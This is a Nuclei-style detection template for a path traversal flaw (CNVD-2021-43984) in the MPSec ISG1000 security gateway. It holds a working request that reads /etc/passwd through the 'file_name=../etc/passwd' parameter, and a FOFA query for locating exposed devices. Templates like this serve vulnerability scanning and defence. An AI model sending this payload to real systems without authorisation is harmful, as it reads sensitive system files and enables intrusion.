id: CNVD-2021-43984

info:
  name: MPSec ISG1000 Security Gateway - Arbitrary File Download
  author: DhiyaneshDk
  severity: high
  description: |
    The MPSec ISG1000 safety gateway at MP Communications Technology Co., Ltd. has any file download loophole, and attackers can use the loophole to obtain sensitive information.
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-43984
    - https://github.com/chaitin/xray/blob/master/pocs/mpsec-isg1000-file-read.yml
  metadata:
    verified: true
    max-request: 1
    fofa-query: "迈普通信技术股份有限公司"
  tags: cnvd2021,cnvd,mpsec,maipu,lfi,isg

http:
  - method: GET
    path:
      - "{{BaseURL}}/webui/?g=sys_dia_data_down&file_name=../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "text/plain"
          - "USGSESSID="
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cde6f299fa9dcf25f8392e07f90f53acd5a9ef19c1ad7f1dc0c0ac42932945be02205188ca41cd7dc765aeb1c0114d3d488df0f92c32fec8b211ee98aae1d79a7e54:922c64590222798bb761d5b6d8e72950